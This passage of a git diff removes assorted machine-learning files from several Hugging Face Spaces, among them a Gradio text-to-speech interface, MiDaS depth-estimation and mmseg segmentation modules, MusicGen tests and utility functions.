index ab4a58333e7a224acf6c89a52046cc85b9d9f1c1..0000000000000000000000000000000000000000
--- a/spaces/Mahiruoshi/MyGO_VIts-bert/webui.py
+++ /dev/null
@@ -1,216 +0,0 @@
-# flake8: noqa: E402
-
-import sys, os
-import logging
-
-logging.getLogger("numba").setLevel(logging.WARNING)
-logging.getLogger("markdown_it").setLevel(logging.WARNING)
-logging.getLogger("urllib3").setLevel(logging.WARNING)
-logging.getLogger("matplotlib").setLevel(logging.WARNING)
-
-logging.basicConfig(
-    level=logging.INFO, format="| %(name)s | %(levelname)s | %(message)s"
-)
-
-logger = logging.getLogger(__name__)
-
-import torch
-import argparse
-import commons
-import utils
-from models import SynthesizerTrn
-from text.symbols import symbols
-from text import cleaned_text_to_sequence, get_bert
-from text.cleaner import clean_text
-import gradio as gr
-import webbrowser
-
-net_g = None
-
-if sys.platform == "darwin" and torch.backends.mps.is_available():
-    device = "mps"
-    os.environ["PYTORCH_ENABLE_MPS_FALLBACK"] = "1"
-else:
-    device = "cuda"
-
-
-def get_text(text, language_str, hps):
-    norm_text, phone, tone, word2ph = clean_text(text, language_str)
-    phone, tone, language = cleaned_text_to_sequence(phone, tone, language_str)
-
-    if hps.data.add_blank:
-        phone = commons.intersperse(phone, 0)
-        tone = commons.intersperse(tone, 0)
-        language = commons.intersperse(language, 0)
-        for i in range(len(word2ph)):
-            word2ph[i] = word2ph[i] * 2
-        word2ph[0] += 1
-    bert = get_bert(norm_text, word2ph, language_str, device)
-    del word2ph
-    assert bert.shape[-1] == len(phone), phone
-
-    if language_str == "ZH":
-        bert = bert
-        ja_bert = torch.zeros(768, len(phone))
-    elif language_str == "JA":
-        ja_bert = bert
-        bert = torch.zeros(1024, len(phone))
-    else:
-        bert = torch.zeros(1024, len(phone))
-        ja_bert = torch.zeros(768, len(phone))
-
-    assert bert.shape[-1] == len(
-        phone
-    ), f"Bert seq len {bert.shape[-1]} != {len(phone)}"
-
-    phone = torch.LongTensor(phone)
-    tone = torch.LongTensor(tone)
-    language = torch.LongTensor(language)
-    return bert, ja_bert, phone, tone, language
-
-
-def infer(text, sdp_ratio, noise_scale, noise_scale_w, length_scale, sid, language):
-    global net_g
-    bert, ja_bert, phones, tones, lang_ids = get_text(text, language, hps)
-    with torch.no_grad():
-        x_tst = phones.to(device).unsqueeze(0)
-        tones = tones.to(device).unsqueeze(0)
-        lang_ids = lang_ids.to(device).unsqueeze(0)
-        bert = bert.to(device).unsqueeze(0)
-        ja_bert = ja_bert.to(device).unsqueeze(0)
-        x_tst_lengths = torch.LongTensor([phones.size(0)]).to(device)
-        del phones
-        speakers = torch.LongTensor([hps.data.spk2id[sid]]).to(device)
-        audio = (
-            net_g.infer(
-                x_tst,
-                x_tst_lengths,
-                speakers,
-                tones,
-                lang_ids,
-                bert,
-                ja_bert,
-                sdp_ratio=sdp_ratio,
-                noise_scale=noise_scale,
-                noise_scale_w=noise_scale_w,
-                length_scale=length_scale,
-            )[0][0, 0]
-            .data.cpu()
-            .float()
-            .numpy()
-        )
-        del x_tst, tones, lang_ids, bert, x_tst_lengths, speakers
-        return audio
-
-
-def tts_fn(
-    text, speaker, sdp_ratio, noise_scale, noise_scale_w, length_scale, language
-):
-    with torch.no_grad():
-        audio = infer(
-            text,
-            sdp_ratio=sdp_ratio,
-            noise_scale=noise_scale,
-            noise_scale_w=noise_scale_w,
-            length_scale=length_scale,
-            sid=speaker,
-            language=language,
-        )
-        torch.cuda.empty_cache()
-    return "Success", (hps.data.sampling_rate, audio)
-
-
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser()
-    parser.add_argument(
-        "-m", "--model", default="./logs/Mygo/G_13000.pth", help="path of your model"
-    )
-    parser.add_argument(
-        "-c",
-        "--config",
-        default="./configs/config.json",
-        help="path of your config file",
-    )
-    parser.add_argument(
-        "--share", default=True, help="make link public", action="store_true"
-    )
-    parser.add_argument(
-        "-d", "--debug", action="store_true", help="enable DEBUG-LEVEL log"
-    )
-
-    args = parser.parse_args()
-    if args.debug:
-        logger.info("Enable DEBUG-LEVEL log")
-        logging.basicConfig(level=logging.DEBUG)
-    hps = utils.get_hparams_from_file(args.config)
-
-    device = (
-        "cuda:0"
-        if torch.cuda.is_available()
-        else (
-            "mps"
-            if sys.platform == "darwin" and torch.backends.mps.is_available()
-            else "cpu"
-        )
-    )
-    net_g = SynthesizerTrn(
-        len(symbols),
-        hps.data.filter_length // 2 + 1,
-        hps.train.segment_size // hps.data.hop_length,
-        n_speakers=hps.data.n_speakers,
-        **hps.model,
-    ).to(device)
-    _ = net_g.eval()
-
-    _ = utils.load_checkpoint(args.model, net_g, None, skip_optimizer=True)
-
-    speaker_ids = hps.data.spk2id
-    speakers = list(speaker_ids.keys())
-    languages = ["ZH", "JP"]
-    with gr.Blocks() as app:
-        with gr.Row():
-            with gr.Column():
-                text = gr.TextArea(
-                    label="Text",
-                    placeholder="Input Text Here",
-                    value="私たちは、一緒にはいられない。",
-                )
-                speaker = gr.Dropdown(
-                    choices=speakers, value=speakers[0], label="Speaker"
-                )
-                sdp_ratio = gr.Slider(
-                    minimum=0, maximum=1, value=0.2, step=0.1, label="SDP Ratio"
-                )
-                noise_scale = gr.Slider(
-                    minimum=0.1, maximum=2, value=0.6, step=0.1, label="Noise Scale"
-                )
-                noise_scale_w = gr.Slider(
-                    minimum=0.1, maximum=2, value=0.8, step=0.1, label="Noise Scale W"
-                )
-                length_scale = gr.Slider(
-                    minimum=0.1, maximum=2, value=1, step=0.1, label="Length Scale"
-                )
-                language = gr.Dropdown(
-                    choices=languages, value=languages[0], label="Language"
-                )
-                btn = gr.Button("Generate!", variant="primary")
-            with gr.Column():
-                text_output = gr.Textbox(label="Message")
-                audio_output = gr.Audio(label="Output Audio")
-
-        btn.click(
-            tts_fn,
-            inputs=[
-                text,
-                speaker,
-                sdp_ratio,
-                noise_scale,
-                noise_scale_w,
-                length_scale,
-                language,
-            ],
-            outputs=[text_output, audio_output],
-        )
-
-    webbrowser.open("http://127.0.0.1:7860")
-    app.launch(share=args.share)
diff --git a/spaces/Make-A-Protagonist/Make-A-Protagonist-inference/Make-A-Protagonist/experts/XMem/inference/interact/fbrs/inference/transforms/crops.py b/spaces/Make-A-Protagonist/Make-A-Protagonist-inference/Make-A-Protagonist/experts/XMem/inference/interact/fbrs/inference/transforms/crops.py
deleted file mode 100644
index 0910a2825608cf3fa761212d182dc1e8e5c242c4..0000000000000000000000000000000000000000
--- a/spaces/Make-A-Protagonist/Make-A-Protagonist-inference/Make-A-Protagonist/experts/XMem/inference/interact/fbrs/inference/transforms/crops.py
+++ /dev/null
@@ -1,97 +0,0 @@
-import math
-
-import torch
-import numpy as np
-
-from ...inference.clicker import Click
-from .base import BaseTransform
-
-
-class Crops(BaseTransform):
-    def __init__(self, crop_size=(320, 480), min_overlap=0.2):
-        super().__init__()
-        self.crop_height, self.crop_width = crop_size
-        self.min_overlap = min_overlap
-
-        self.x_offsets = None
-        self.y_offsets = None
-        self._counts = None
-
-    def transform(self, image_nd, clicks_lists):
-        assert image_nd.shape[0] == 1 and len(clicks_lists) == 1
-        image_height, image_width = image_nd.shape[2:4]
-        self._counts = None
-
-        if image_height < self.crop_height or image_width < self.crop_width:
-            return image_nd, clicks_lists
-
-        self.x_offsets = get_offsets(image_width, self.crop_width, self.min_overlap)
-        self.y_offsets = get_offsets(image_height, self.crop_height, self.min_overlap)
-        self._counts = np.zeros((image_height, image_width))
-
-        image_crops = []
-        for dy in self.y_offsets:
-            for dx in self.x_offsets:
-                self._counts[dy:dy + self.crop_height, dx:dx + self.crop_width] += 1
-                image_crop = image_nd[:, :, dy:dy + self.crop_height, dx:dx + self.crop_width]
-                image_crops.append(image_crop)
-        image_crops = torch.cat(image_crops, dim=0)
-        self._counts = torch.tensor(self._counts, device=image_nd.device, dtype=torch.float32)
-
-        clicks_list = clicks_lists[0]
-        clicks_lists = []
-        for dy in self.y_offsets:
-            for dx in self.x_offsets:
-                crop_clicks = [Click(is_positive=x.is_positive, coords=(x.coords[0] - dy, x.coords[1] - dx))
-                               for x in clicks_list]
-                clicks_lists.append(crop_clicks)
-
-        return image_crops, clicks_lists
-
-    def inv_transform(self, prob_map):
-        if self._counts is None:
-            return prob_map
-
-        new_prob_map = torch.zeros((1, 1, *self._counts.shape),
-                                   dtype=prob_map.dtype, device=prob_map.device)
-
-        crop_indx = 0
-        for dy in self.y_offsets:
-            for dx in self.x_offsets:
-                new_prob_map[0, 0, dy:dy + self.crop_height, dx:dx + self.crop_width] += prob_map[crop_indx, 0]
-                crop_indx += 1
-        new_prob_map = torch.div(new_prob_map, self._counts)
-
-        return new_prob_map
-
-    def get_state(self):
-        return self.x_offsets, self.y_offsets, self._counts
-
-    def set_state(self, state):
-        self.x_offsets, self.y_offsets, self._counts = state
-
-    def reset(self):
-        self.x_offsets = None
-        self.y_offsets = None
-        self._counts = None
-
-
-def get_offsets(length, crop_size, min_overlap_ratio=0.2):
-    if length == crop_size:
-        return [0]
-
-    N = (length / crop_size - min_overlap_ratio) / (1 - min_overlap_ratio)
-    N = math.ceil(N)
-
-    overlap_ratio = (N - length / crop_size) / (N - 1)
-    overlap_width = int(crop_size * overlap_ratio)
-
-    offsets = [0]
-    for i in range(1, N):
-        new_offset = offsets[-1] + crop_size - overlap_width
-        if new_offset + crop_size > length:
-            new_offset = length - crop_size
-
-        offsets.append(new_offset)
-
-    return offsets
diff --git a/spaces/Manjushri/MusicGen/tests/models/test_musicgen.py b/spaces/Manjushri/MusicGen/tests/models/test_musicgen.py
deleted file mode 100644
index d43cf73763f6c690ab0b277227ac225b286fa143..0000000000000000000000000000000000000000
--- a/spaces/Manjushri/MusicGen/tests/models/test_musicgen.py
+++ /dev/null
@@ -1,58 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-import pytest
-import torch
-
-from audiocraft.models import MusicGen
-
-
-class TestSEANetModel:
-    def get_musicgen(self):
-        mg = MusicGen.get_pretrained(name='debug', device='cpu')
-        mg.set_generation_params(duration=2.0, extend_stride=2.)
-        return mg
-
-    def test_base(self):
-        mg = self.get_musicgen()
-        assert mg.frame_rate == 25
-        assert mg.sample_rate == 32000
-        assert mg.audio_channels == 1
-
-    def test_generate_unconditional(self):
-        mg = self.get_musicgen()
-        wav = mg.generate_unconditional(3)
-        assert list(wav.shape) == [3, 1, 64000]
-
-    def test_generate_continuation(self):
-        mg = self.get_musicgen()
-        prompt = torch.randn(3, 1, 32000)
-        wav = mg.generate_continuation(prompt, 32000)
-        assert list(wav.shape) == [3, 1, 64000]
-
-        prompt = torch.randn(2, 1, 32000)
-        wav = mg.generate_continuation(
-            prompt, 32000, ['youpi', 'lapin dort'])
-        assert list(wav.shape) == [2, 1, 64000]
-
-        prompt = torch.randn(2, 1, 32000)
-        with pytest.raises(AssertionError):
-            wav = mg.generate_continuation(
-                prompt, 32000, ['youpi', 'lapin dort', 'one too many'])
-
-    def test_generate(self):
-        mg = self.get_musicgen()
-        wav = mg.generate(
-            ['youpi', 'lapin dort'])
-        assert list(wav.shape) == [2, 1, 64000]
-
-    def test_generate_long(self):
-        mg = self.get_musicgen()
-        mg.max_duration = 3.
-        mg.set_generation_params(duration=4., extend_stride=2.)
-        wav = mg.generate(
-            ['youpi', 'lapin dort'])
-        assert list(wav.shape) == [2, 1, 32000 * 4]
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/midas/midas/midas_net.py b/spaces/Mellow-ai/PhotoAI_Mellow/annotator/midas/midas/midas_net.py
deleted file mode 100644
index 8a954977800b0a0f48807e80fa63041910e33c1f..0000000000000000000000000000000000000000
--- a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/midas/midas/midas_net.py
+++ /dev/null
@@ -1,76 +0,0 @@
-"""MidashNet: Network for monocular depth estimation trained by mixing several datasets.
-This file contains code that is adapted from
-https://github.com/thomasjpfan/pytorch_refinenet/blob/master/pytorch_refinenet/refinenet/refinenet_4cascade.py
-"""
-import torch
-import torch.nn as nn
-
-from .base_model import BaseModel
-from .blocks import FeatureFusionBlock, Interpolate, _make_encoder
-
-
-class MidasNet(BaseModel):
-    """Network for monocular depth estimation.
-    """
-
-    def __init__(self, path=None, features=256, non_negative=True):
-        """Init.
-
-        Args:
-            path (str, optional): Path to saved model. Defaults to None.
-            features (int, optional): Number of features. Defaults to 256.
-            backbone (str, optional): Backbone network for encoder. Defaults to resnet50
-        """
-        print("Loading weights: ", path)
-
-        super(MidasNet, self).__init__()
-
-        use_pretrained = False if path is None else True
-
-        self.pretrained, self.scratch = _make_encoder(backbone="resnext101_wsl", features=features, use_pretrained=use_pretrained)
-
-        self.scratch.refinenet4 = FeatureFusionBlock(features)
-        self.scratch.refinenet3 = FeatureFusionBlock(features)
-        self.scratch.refinenet2 = FeatureFusionBlock(features)
-        self.scratch.refinenet1 = FeatureFusionBlock(features)
-
-        self.scratch.output_conv = nn.Sequential(
-            nn.Conv2d(features, 128, kernel_size=3, stride=1, padding=1),
-            Interpolate(scale_factor=2, mode="bilinear"),
-            nn.Conv2d(128, 32, kernel_size=3, stride=1, padding=1),
-            nn.ReLU(True),
-            nn.Conv2d(32, 1, kernel_size=1, stride=1, padding=0),
-            nn.ReLU(True) if non_negative else nn.Identity(),
-        )
-
-        if path:
-            self.load(path)
-
-    def forward(self, x):
-        """Forward pass.
-
-        Args:
-            x (tensor): input data (image)
-
-        Returns:
-            tensor: depth
-        """
-
-        layer_1 = self.pretrained.layer1(x)
-        layer_2 = self.pretrained.layer2(layer_1)
-        layer_3 = self.pretrained.layer3(layer_2)
-        layer_4 = self.pretrained.layer4(layer_3)
-
-        layer_1_rn = self.scratch.layer1_rn(layer_1)
-        layer_2_rn = self.scratch.layer2_rn(layer_2)
-        layer_3_rn = self.scratch.layer3_rn(layer_3)
-        layer_4_rn = self.scratch.layer4_rn(layer_4)
-
-        path_4 = self.scratch.refinenet4(layer_4_rn)
-        path_3 = self.scratch.refinenet3(path_4, layer_3_rn)
-        path_2 = self.scratch.refinenet2(path_3, layer_2_rn)
-        path_1 = self.scratch.refinenet1(path_2, layer_1_rn)
-
-        out = self.scratch.output_conv(path_1)
-
-        return torch.squeeze(out, dim=1)
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/configs/_base_/models/deeplabv3_r50-d8.py b/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/configs/_base_/models/deeplabv3_r50-d8.py
deleted file mode 100644
index d7a43bee01422ad4795dd27874e0cd4bb6cbfecf..0000000000000000000000000000000000000000
--- a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/configs/_base_/models/deeplabv3_r50-d8.py
+++ /dev/null
@@ -1,44 +0,0 @@
-# model settings
-norm_cfg = dict(type='SyncBN', requires_grad=True)
-model = dict(
-    type='EncoderDecoder',
-    pretrained='open-mmlab://resnet50_v1c',
-    backbone=dict(
-        type='ResNetV1c',
-        depth=50,
-        num_stages=4,
-        out_indices=(0, 1, 2, 3),
-        dilations=(1, 1, 2, 4),
-        strides=(1, 2, 1, 1),
-        norm_cfg=norm_cfg,
-        norm_eval=False,
-        style='pytorch',
-        contract_dilation=True),
-    decode_head=dict(
-        type='ASPPHead',
-        in_channels=2048,
-        in_index=3,
-        channels=512,
-        dilations=(1, 12, 24, 36),
-        dropout_ratio=0.1,
-        num_classes=19,
-        norm_cfg=norm_cfg,
-        align_corners=False,
-        loss_decode=dict(
-            type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)),
-    auxiliary_head=dict(
-        type='FCNHead',
-        in_channels=1024,
-        in_index=2,
-        channels=256,
-        num_convs=1,
-        concat_input=False,
-        dropout_ratio=0.1,
-        num_classes=19,
-        norm_cfg=norm_cfg,
-        align_corners=False,
-        loss_decode=dict(
-            type='CrossEntropyLoss', use_sigmoid=False, loss_weight=0.4)),
-    # model training and testing settings
-    train_cfg=dict(),
-    test_cfg=dict(mode='whole'))
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/cnn/builder.py b/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/cnn/builder.py
deleted file mode 100644
index 7567316c566bd3aca6d8f65a84b00e9e890948a7..0000000000000000000000000000000000000000
--- a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/cnn/builder.py
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from ..runner import Sequential
-from ..utils import Registry, build_from_cfg
-
-
-def build_model_from_cfg(cfg, registry, default_args=None):
-    """Build a PyTorch model from config dict(s). Different from
-    ``build_from_cfg``, if cfg is a list, a ``nn.Sequential`` will be built.
-
-    Args:
-        cfg (dict, list[dict]): The config of modules, is is either a config
-            dict or a list of config dicts. If cfg is a list, a
-            the built modules will be wrapped with ``nn.Sequential``.
-        registry (:obj:`Registry`): A registry the module belongs to.
-        default_args (dict, optional): Default arguments to build the module.
-            Defaults to None.
-
-    Returns:
-        nn.Module: A built nn module.
-    """
-    if isinstance(cfg, list):
-        modules = [
-            build_from_cfg(cfg_, registry, default_args) for cfg_ in cfg
-        ]
-        return Sequential(*modules)
-    else:
-        return build_from_cfg(cfg, registry, default_args)
-
-
-MODELS = Registry('model', build_func=build_model_from_cfg)
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/ops/corner_pool.py b/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/ops/corner_pool.py
deleted file mode 100644
index a33d798b43d405e4c86bee4cd6389be21ca9c637..0000000000000000000000000000000000000000
--- a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmcv/ops/corner_pool.py
+++ /dev/null
@@ -1,161 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import torch
-from torch import nn
-from torch.autograd import Function
-
-from ..utils import ext_loader
-
-ext_module = ext_loader.load_ext('_ext', [
-    'top_pool_forward', 'top_pool_backward', 'bottom_pool_forward',
-    'bottom_pool_backward', 'left_pool_forward', 'left_pool_backward',
-    'right_pool_forward', 'right_pool_backward'
-])
-
-_mode_dict = {'top': 0, 'bottom': 1, 'left': 2, 'right': 3}
-
-
-class TopPoolFunction(Function):
-
-    @staticmethod
-    def symbolic(g, input):
-        output = g.op(
-            'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['top']))
-        return output
-
-    @staticmethod
-    def forward(ctx, input):
-        output = ext_module.top_pool_forward(input)
-        ctx.save_for_backward(input)
-        return output
-
-    @staticmethod
-    def backward(ctx, grad_output):
-        input, = ctx.saved_tensors
-        output = ext_module.top_pool_backward(input, grad_output)
-        return output
-
-
-class BottomPoolFunction(Function):
-
-    @staticmethod
-    def symbolic(g, input):
-        output = g.op(
-            'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['bottom']))
-        return output
-
-    @staticmethod
-    def forward(ctx, input):
-        output = ext_module.bottom_pool_forward(input)
-        ctx.save_for_backward(input)
-        return output
-
-    @staticmethod
-    def backward(ctx, grad_output):
-        input, = ctx.saved_tensors
-        output = ext_module.bottom_pool_backward(input, grad_output)
-        return output
-
-
-class LeftPoolFunction(Function):
-
-    @staticmethod
-    def symbolic(g, input):
-        output = g.op(
-            'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['left']))
-        return output
-
-    @staticmethod
-    def forward(ctx, input):
-        output = ext_module.left_pool_forward(input)
-        ctx.save_for_backward(input)
-        return output
-
-    @staticmethod
-    def backward(ctx, grad_output):
-        input, = ctx.saved_tensors
-        output = ext_module.left_pool_backward(input, grad_output)
-        return output
-
-
-class RightPoolFunction(Function):
-
-    @staticmethod
-    def symbolic(g, input):
-        output = g.op(
-            'mmcv::MMCVCornerPool', input, mode_i=int(_mode_dict['right']))
-        return output
-
-    @staticmethod
-    def forward(ctx, input):
-        output = ext_module.right_pool_forward(input)
-        ctx.save_for_backward(input)
-        return output
-
-    @staticmethod
-    def backward(ctx, grad_output):
-        input, = ctx.saved_tensors
-        output = ext_module.right_pool_backward(input, grad_output)
-        return output
-
-
-class CornerPool(nn.Module):
-    """Corner Pooling.
-
-    Corner Pooling is a new type of pooling layer that helps a
-    convolutional network better localize corners of bounding boxes.
-
-    Please refer to https://arxiv.org/abs/1808.01244 for more details.
-    Code is modified from https://github.com/princeton-vl/CornerNet-Lite.
-
-    Args:
-        mode(str): Pooling orientation for the pooling layer
-
-            - 'bottom': Bottom Pooling
-            - 'left': Left Pooling
-            - 'right': Right Pooling
-            - 'top': Top Pooling
-
-    Returns:
-        Feature map after pooling.
-    """
-
-    pool_functions = {
-        'bottom': BottomPoolFunction,
-        'left': LeftPoolFunction,
-        'right': RightPoolFunction,
-        'top': TopPoolFunction,
-    }
-
-    cummax_dim_flip = {
-        'bottom': (2, False),
-        'left': (3, True),
-        'right': (3, False),
-        'top': (2, True),
-    }
-
-    def __init__(self, mode):
-        super(CornerPool, self).__init__()
-        assert mode in self.pool_functions
-        self.mode = mode
-        self.corner_pool = self.pool_functions[mode]
-
-    def forward(self, x):
-        if torch.__version__ != 'parrots' and torch.__version__ >= '1.5.0':
-            if torch.onnx.is_in_onnx_export():
-                assert torch.__version__ >= '1.7.0', \
-                    'When `cummax` serves as an intermediate component whose '\
-                    'outputs is used as inputs for another modules, it\'s '\
-                    'expected that pytorch version must be >= 1.7.0, '\
-                    'otherwise Error appears like: `RuntimeError: tuple '\
-                    'appears in op that does not forward tuples, unsupported '\
-                    'kind: prim::PythonOp`.'
-
-            dim, flip = self.cummax_dim_flip[self.mode]
-            if flip:
-                x = x.flip(dim)
-            pool_tensor, _ = torch.cummax(x, dim=dim)
-            if flip:
-                pool_tensor = pool_tensor.flip(dim)
-            return pool_tensor
-        else:
-            return self.corner_pool.apply(x)
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmseg/models/decode_heads/apc_head.py b/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmseg/models/decode_heads/apc_head.py
deleted file mode 100644
index c7038bdbe0edf2a1f184b6899486d2d190dda076..0000000000000000000000000000000000000000
--- a/spaces/Mellow-ai/PhotoAI_Mellow/annotator/uniformer/mmseg/models/decode_heads/apc_head.py
+++ /dev/null
@@ -1,158 +0,0 @@
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-from annotator.uniformer.mmcv.cnn import ConvModule
-
-from annotator.uniformer.mmseg.ops import resize
-from ..builder import HEADS
-from .decode_head import BaseDecodeHead
-
-
-class ACM(nn.Module):
-    """Adaptive Context Module used in APCNet.
-
-    Args:
-        pool_scale (int): Pooling scale used in Adaptive Context
-            Module to extract region features.
-        fusion (bool): Add one conv to fuse residual feature.
-        in_channels (int): Input channels.
-        channels (int): Channels after modules, before conv_seg.
-        conv_cfg (dict | None): Config of conv layers.
-        norm_cfg (dict | None): Config of norm layers.
-        act_cfg (dict): Config of activation layers.
-    """
-
-    def __init__(self, pool_scale, fusion, in_channels, channels, conv_cfg,
-                 norm_cfg, act_cfg):
-        super(ACM, self).__init__()
-        self.pool_scale = pool_scale
-        self.fusion = fusion
-        self.in_channels = in_channels
-        self.channels = channels
-        self.conv_cfg = conv_cfg
-        self.norm_cfg = norm_cfg
-        self.act_cfg = act_cfg
-        self.pooled_redu_conv = ConvModule(
-            self.in_channels,
-            self.channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-        self.input_redu_conv = ConvModule(
-            self.in_channels,
-            self.channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-        self.global_info = ConvModule(
-            self.channels,
-            self.channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-        self.gla = nn.Conv2d(self.channels, self.pool_scale**2, 1, 1, 0)
-
-        self.residual_conv = ConvModule(
-            self.channels,
-            self.channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-        if self.fusion:
-            self.fusion_conv = ConvModule(
-                self.channels,
-                self.channels,
-                1,
-                conv_cfg=self.conv_cfg,
-                norm_cfg=self.norm_cfg,
-                act_cfg=self.act_cfg)
-
-    def forward(self, x):
-        """Forward function."""
-        pooled_x = F.adaptive_avg_pool2d(x, self.pool_scale)
-        # [batch_size, channels, h, w]
-        x = self.input_redu_conv(x)
-        # [batch_size, channels, pool_scale, pool_scale]
-        pooled_x = self.pooled_redu_conv(pooled_x)
-        batch_size = x.size(0)
-        # [batch_size, pool_scale * pool_scale, channels]
-        pooled_x = pooled_x.view(batch_size, self.channels,
-                                 -1).permute(0, 2, 1).contiguous()
-        # [batch_size, h * w, pool_scale * pool_scale]
-        affinity_matrix = self.gla(x + resize(
-            self.global_info(F.adaptive_avg_pool2d(x, 1)), size=x.shape[2:])
-                                   ).permute(0, 2, 3, 1).reshape(
-                                       batch_size, -1, self.pool_scale**2)
-        affinity_matrix = F.sigmoid(affinity_matrix)
-        # [batch_size, h * w, channels]
-        z_out = torch.matmul(affinity_matrix, pooled_x)
-        # [batch_size, channels, h * w]
-        z_out = z_out.permute(0, 2, 1).contiguous()
-        # [batch_size, channels, h, w]
-        z_out = z_out.view(batch_size, self.channels, x.size(2), x.size(3))
-        z_out = self.residual_conv(z_out)
-        z_out = F.relu(z_out + x)
-        if self.fusion:
-            z_out = self.fusion_conv(z_out)
-
-        return z_out
-
-
-@HEADS.register_module()
-class APCHead(BaseDecodeHead):
-    """Adaptive Pyramid Context Network for Semantic Segmentation.
-
-    This head is the implementation of
-    `APCNet <https://openaccess.thecvf.com/content_CVPR_2019/papers/\
-    He_Adaptive_Pyramid_Context_Network_for_Semantic_Segmentation_\
-    CVPR_2019_paper.pdf>`_.
-
-    Args:
-        pool_scales (tuple[int]): Pooling scales used in Adaptive Context
-            Module. Default: (1, 2, 3, 6).
-        fusion (bool): Add one conv to fuse residual feature.
-    """
-
-    def __init__(self, pool_scales=(1, 2, 3, 6), fusion=True, **kwargs):
-        super(APCHead, self).__init__(**kwargs)
-        assert isinstance(pool_scales, (list, tuple))
-        self.pool_scales = pool_scales
-        self.fusion = fusion
-        acm_modules = []
-        for pool_scale in self.pool_scales:
-            acm_modules.append(
-                ACM(pool_scale,
-                    self.fusion,
-                    self.in_channels,
-                    self.channels,
-                    conv_cfg=self.conv_cfg,
-                    norm_cfg=self.norm_cfg,
-                    act_cfg=self.act_cfg))
-        self.acm_modules = nn.ModuleList(acm_modules)
-        self.bottleneck = ConvModule(
-            self.in_channels + len(pool_scales) * self.channels,
-            self.channels,
-            3,
-            padding=1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-    def forward(self, inputs):
-        """Forward function."""
-        x = self._transform_inputs(inputs)
-        acm_outs = [x]
-        for acm_module in self.acm_modules:
-            acm_outs.append(acm_module(x))
-        acm_outs = torch.cat(acm_outs, dim=1)
-        output = self.bottleneck(acm_outs)
-        output = self.cls_seg(output)
-        return output
diff --git a/spaces/Mellow-ai/PhotoAI_Mellow/ldm/modules/midas/midas/__init__.py b/spaces/Mellow-ai/PhotoAI_Mellow/ldm/modules/midas/midas/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/MercuryLeafer/img-to-music/README.md b/spaces/MercuryLeafer/img-to-music/README.md
deleted file mode 100644
index 43c78fcfadbbf60597eed263fe212796479b6cf8..0000000000000000000000000000000000000000
--- a/spaces/MercuryLeafer/img-to-music/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Img To Music
-emoji: 🌅🎶
-colorFrom: green
-colorTo: purple
-sdk: gradio
-sdk_version: 3.28.3
-app_file: app.py
-pinned: false
-duplicated_from: fffiloni/img-to-music
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
\ No newline at end of file
diff --git a/spaces/MoonQiu/LongerCrafter/utils/utils.py b/spaces/MoonQiu/LongerCrafter/utils/utils.py
deleted file mode 100644
index c73b93e006c4250161b427e4d1fff512ca046f7c..0000000000000000000000000000000000000000
--- a/spaces/MoonQiu/LongerCrafter/utils/utils.py
+++ /dev/null
@@ -1,77 +0,0 @@
-import importlib
-import numpy as np
-import cv2
-import torch
-import torch.distributed as dist
-
-
-def count_params(model, verbose=False):
-    total_params = sum(p.numel() for p in model.parameters())
-    if verbose:
-        print(f"{model.__class__.__name__} has {total_params*1.e-6:.2f} M params.")
-    return total_params
-
-
-def check_istarget(name, para_list):
-    """ 
-    name: full name of source para
-    para_list: partial name of target para 
-    """
-    istarget=False
-    for para in para_list:
-        if para in name:
-            return True
-    return istarget
-
-
-def instantiate_from_config(config):
-    if not "target" in config:
-        if config == '__is_first_stage__':
-            return None
-        elif config == "__is_unconditional__":
-            return None
-        raise KeyError("Expected key `target` to instantiate.")
-    return get_obj_from_str(config["target"])(**config.get("params", dict()))
-
-
-def get_obj_from_str(string, reload=False):
-    module, cls = string.rsplit(".", 1)
-    if reload:
-        module_imp = importlib.import_module(module)
-        importlib.reload(module_imp)
-    return getattr(importlib.import_module(module, package=None), cls)
-
-
-def load_npz_from_dir(data_dir):
-    data = [np.load(os.path.join(data_dir, data_name))['arr_0'] for data_name in os.listdir(data_dir)]
-    data = np.concatenate(data, axis=0)
-    return data
-
-
-def load_npz_from_paths(data_paths):
-    data = [np.load(data_path)['arr_0'] for data_path in data_paths]
-    data = np.concatenate(data, axis=0)
-    return data   
-
-
